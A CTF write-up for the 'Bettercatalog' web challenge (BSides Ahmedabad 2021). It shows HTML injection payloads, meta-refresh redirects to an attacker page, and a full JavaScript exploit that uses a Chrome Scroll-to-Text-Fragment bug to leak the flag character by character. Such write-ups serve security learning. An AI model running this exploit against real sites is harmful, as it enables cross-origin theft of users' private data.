Bettercatalog - BSides Ahmedabad CTF 2021

“Bettercatalog” was a web challenge at the BSides Ahmedabad CTF 2021 that abused a bug in an old chrome version to trigger “Scroll to Text Fragment” (short: STTF) without user interaction and leak cross-origin data. More details about how STTF can be used for XS-Leaks can be found at the XS-Leaks Wiki.

Challenge description:

The catalog by bluepichu is so vulnerable, I made a secure version check this out https://bettercatalog.xyz. Please run your tests locally using docker.
Source code: https://s3.amazonaws.com/bsidesahm/e9dd9cd8-b5a7-4ce9-bca1-c82e63fddcaf/bettercatalog_f4f479d06cb522dd565634479bb0dac2.tar.gz


The challenge is based on the “Catalog” challenge from Plaid CTF 2020, a detailed writeup can be found here. I’d recommend reading it before continuing to get a better overall understanding, but the main points are:

  1. A strict, nonce-based CSP is set at php/src/include/utils.php:4:
1
header("Content-Security-Policy: default-src 'nonce-$nonce'; img-src *; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/");
  1. It is possible to inject HTML via $issue["image"] at php/src/issue.php:34:
1
<img src="<?php echo $issue["image"]; ?>" />
  1. It is possible to inject HTML via $_POST["username"] at php/src/user.php:38 by trying to login with an invalid username and password, whereby the username is reflected at php/src/include/header.php:48:
1
flash("error", "<em>Zap!</em> Incorrect password for user <b>{$_POST["username"]}</b>.");
1
2
3
4
5
6
7
8
9
10
<?php if (isset($_SESSION["flash"])) { ?>
<div class="messages">
<?php foreach ($_SESSION["flash"] as $message) { ?>
<div class="message <?php echo $message["severity"]; ?>">
<?php echo $message["content"]; ?>
</div>
<?php } ?>
</div>
<?php unset($_SESSION["flash"]); ?>
<?php } ?>

While reading the writeup for “Catalog” and seeing “Scroll to Text Fragment” mentioned, I remembered stumbling upon this chromium issue by s1r1us. We can use this in combination with image lazy-loading to determine if a STTF was successful without requiring user interaction!

The steps are as follows:

  1. Create an issue that redirects to the issue with the flag. This is required to bypass the need of user interaction for STTF.
1
"><meta http-equiv="refresh" content="0.5;https://bettercatalog.xyz/issue.php?id=4">`
  1. Create another issue that redirects to our page hosting the actual script to leak the flag character by character:
1
"><meta http-equiv="refresh" content="0;http://your.site/">
  1. Implement the PoC from the chromium bug report by s1r1us into a script that leaks the flag.
  2. Submit the issue from step 2 to the admin.

Getting the script to work reliably took most of my time, for some reason STTF only triggered if there was a specific delay between changing frames[0].location. There are probably also better ways to do it than how I did it, but here is my script that worked well enough to leak the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<body></body>
<script>
const payload = `"><img src="https://eskipaper.com/images/large-2.jpg" width="500px" height="3080px" loading="lazy"><img src="${window.origin}/loaded" width="10" height="10" loading="lazy"><em>`;
const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789}";
//const chars = "01234_56789";
const issueId = 4;
const redirectId = 94;
let flag = "NEKO{";

const sleep = (ms) => {
return new Promise(r => setTimeout(r, ms));
}

const check = async (char) => {
const iframe = document.createElement("iframe");
iframe.src = `https://bettercatalog.xyz/issue.php?id=${issueId}`;
iframe.width = "100%";
iframe.height = "30%";
document.body.appendChild(iframe);

await sleep(200);
frames[0].location = `https://bettercatalog.xyz/issue.php?id=${redirectId}`; // redirects to issue with the flag
await sleep(400);

// inject paylod into next page
fetch("https://bettercatalog.xyz/user.php", {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {
"content-type": "application/x-www-form-urlencoded"
},
body: `username=${encodeURIComponent(payload)}&password=fail&action=login`
});

await sleep(600);
frames[0].location = `https://bettercatalog.xyz/issue.php?id=${issueId}#:~:text=${flag[flag.length - 3]}-,${flag[flag.length - 2]},${flag[flag.length - 1]},-${char}`
await sleep(700);

document.body.removeChild(iframe);
};

(async () => {
for (let c of chars) {
fetch("/checking?c=" + c);
check(c);
await sleep(1950);
}
})();
</script>

Doing this character by character and updating the flag in the script, we get the flag: NEKO{ITS_4_5M4LL_1}.